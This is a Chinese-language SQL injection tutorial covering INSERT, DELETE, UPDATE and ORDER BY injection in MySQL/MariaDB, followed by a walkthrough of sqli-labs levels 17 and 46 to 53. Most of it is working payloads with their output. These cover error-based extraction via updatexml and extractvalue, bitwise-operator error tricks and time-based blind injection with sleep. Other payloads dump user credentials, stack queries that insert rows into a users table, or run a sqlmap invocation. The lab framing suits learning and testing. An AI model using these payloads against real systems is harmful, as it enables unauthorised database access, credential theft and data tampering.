在实际的过程中,不只有select函数可能会造成sql注入漏洞,其他的sql函数同样会造成问题,本文对此进行列举
sql函数
insert函数
适用于只有注入函数,并且会对报错进行回显
示例表
MariaDB [mysql]> desc test;
+--------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| id | int(10) | YES | | NULL | |
| uname | char(10) | YES | | NULL | |
| passwd | char(10) | YES | | NULL | |
+--------+----------+------+-----+---------+-------+
insert报错注入
insert数字型报错注入
[mysql]> insert into test values(1 and updatexml(1,concat(0x7e,database(),0x7e),1),'2','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'
insert字符型报错注入
提示:字符型的关键在于如何在一个字段值内构造闭合。
[mysql]> insert into test values(1,'2' and updatexml(1,concat(0x7e,database(),0x7e),1) and '','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'
[mysql]> insert into test values(1,'2' and updatexml(1,concat(0x7e,database(),0x7e),1) and '','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'
使用按位运算符制造insert数字型报错注入
产生报错是因为1和(select database())的值做按位运算,但是字符不能做按位运算,所以会报错提示哪个值类型错误。"& , | , ^"运算同理。
[mysql]> insert into test values(1 ^ (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'
[mysql]> insert into test values(1 | (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'
[mysql]> insert into test values(1 & (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'
使用按位运算符制造insert字符型报错注入
insert into test values(1,'1' & (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'
使用算术运算符制造insert报错注入(+,-,%,/),灵活运用按位运算符,逻辑运算符,算术运算符。
[mysql]> insert into test values(1,'1' + (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'
[mysql]> insert into test values(1,'1' - (select database()) and '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'
[mysql]> insert into test values(1,'1' / (select database()) or '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'
[mysql]> insert into test values(1,'1' % (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'
[mysql]> insert into test values(1,'1' % (select database()) | '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'
[mysql]> insert into test values(1,'1' % (select database()) / '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'
insert延时注入
示例:
[mysql]> insert into test values(1,('2'),'3');
Query OK, 1 row affected (0.005 sec)
[mysql]> insert into test values(1,('1') and sleep(3) and (''),'3');
Query OK, 1 row affected, 1 warning (3.002 sec)
猜测当前所在库的名称长度,如果数据库长度等于5则延时3秒输出内容。
[mysql]> insert into test values(1,('1') and sleep(if((select length(database()))=5,3,0)) and (''),'3');
Query OK, 1 row affected, 1 warning (3.007 sec)
insert盲注如下所示:
MariaDB [mysql]> insert into test values(1,('1') and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112,3,0)) and (''),'3');
Query OK, 1 row affected, 1 warning (3.005 sec)
delete注入
用于删除一行或几行数据,与UPDATE语句一样. DELETE语句通常使用WHERE子句告诉数据库更新表中哪些行的数据并很可能在这个子句中并入用户提交的数据。破坏正常运行的WHERE子句可能会造成严顶的后果, 我们在UPDATE语句部分提出的警告同样还用于这种攻击
payload:
or or updatexml(1,concat(0x7e,(database())),0) or ' '
or extractvalue(1,concat(0x5e24,(database()))) or ' '
'or(有效载荷)or'
'and(有效载荷)and'
'or(有效载荷)and'
'or(有效载荷)and'='
'*(有效载荷)*'
'or(有效载荷)and'
" - (有效载荷) - "
示例:
delete注入时使用 or 一定要为false,为ture就被执行,没有报错回显了
delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0)
order by
注入方式
在sql注入时经常利用order by子句进行快速猜解表中的列数
通过修改order by参数值,比如调整为较大的整型数如order by 5,再依据回显情况来判断具体表中包含的列数。
判断出列数后,接着使用union select语句进行回显。
基于if语句盲注(数字型)
下面的语句只有order=$id,数字型注入时才能生效,
order ='$id'导致if语句变成字符串,功能失效
字符串型时if()失效,排列顺序不改变
select * from users order by 'if(1=2,id,password)'
数字型时排列顺序改变
select * from users order by if(1=2,id,password)
在知道列名的前提下,可以:
?order=if(表达式,id,username)
表达式为true时,根据id排序
表达式为false时,根据username排序
不知道列名时,可以通过:
?order=if(表达式,1,(select id from information_schema.tables))
如果表达式为true时,则会返回正常的页面。
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空
基于时间的盲注:
order by if(表达式,1,sleep(1))
表达式为true时,正常时间显示
表达式false时,会延迟一段时间显示
延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
4.基于rand()的盲注(数字型)
rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数种子固定,则生成的数固定
order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同
order by rand(表达式)
当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。
5.报错注入
order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));
因为1=2,所以执行表达式内容
例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名
若改成1=1,则页面正常显示
爆破数据库
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)
update注入
sql-labs less17
尝试构造报错,发现没有报错输出,但是有报错提示,无法进行报错注入,进行多次尝试以后发现,如果用户名中输入的是系统中不存在的用户名,则密码中无论是否添加单引号还是双引号闭合,都不会发生报错;但是,如果输入存在的用户名,则添加单引号会引发报错,至此,此处可以进行报错注入,说明后端对用户名字段进行防护和验证,而密码字段没有
获取数据库名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit
获取数据库表名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit
获取password和users
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit
尝试使用sqlmap进行注入,通过bp将form表单提交的包保存为txt文件,然后通过该包进行注入
sqlmap -r test.txt --dbs --level 3
less-46 GET -Error based-String-Numeric-ORDER BY CLAUSE
爆破数据库
通过观察源码,存在错误输出,可以进行报错注入
爆破数据库
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)
爆破数据表:
?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)
爆破users表的列
?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1)
爆破用户名和密码
?sort=-1 and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1)
less-47 GET-Error based-String-ORDER by CLAUSE
与上一关类似,闭合方式为单引号
爆破数据库
?sort=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?sort=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
爆破users表的列
?sort=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1) --+
爆破用户名和密码,回显有限,修改limit即可
?sort=-1' and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1) --+
less-48 GET-Error based Blind Numeric -Order by clause
该关没有对报错进行回显,可以采用时间盲注编写脚本进行注入
猜解数据库
?sort=-1 and if((ascii(substr(database(),1,1))=115),sleep(10),1) --+
可以参考 Less-8,将less-8的脚本进行修改就可以直接使用
猜解表名
?sort=-1 and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
?sort=-1 and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
less-49-GET-Error based-String-PRDER BY CLAUSE
闭合方式变为 '
猜解数据库
?sort=-1' and if((ascii(substr(database(),1,1))=115),sleep(10),1) --+
可以参考 Less-8
猜解表名
?sort=-1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
猜内容
?sort=-1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1)
less- 50 Error based -ORDER BY CLAUSE -Numeric-Stacked injection
该题和46题基本相同,区别在于可以使用order by的同时,也添加了堆叠注入的内容,同样可以使用之前的堆叠注入的方法进行注入
?sort=1;insert into users(id,username,password)values(100,'721721','127'); --+
less-51 Error based -ORDER BY CLAUSE-String Stacked injection
同样是堆叠注入加上order by的组合,闭合方式为单引号闭合,但是这次没有错误回显,需要脚本进行注入,与之前的题目基本相同,参考less-8的脚本即可
?sort=1;insert into users(id,username,password)values(100,'721','721'); --+
less-52 GET-Blind based-ORDER BY CLAUSE -numeric -Stacked injection
类似Less-48,但是没有报错回显,使用时间盲注,脚本参考less-8,没有进行闭合
?sort=1;insert into users(id,username,password)values(100,'721','721'); --+
less-53 GET-GET-Blind based-ORDER BY CLAUSE -String-stacked injection
单引号闭合+堆叠注入+order by,采用时间注入脚本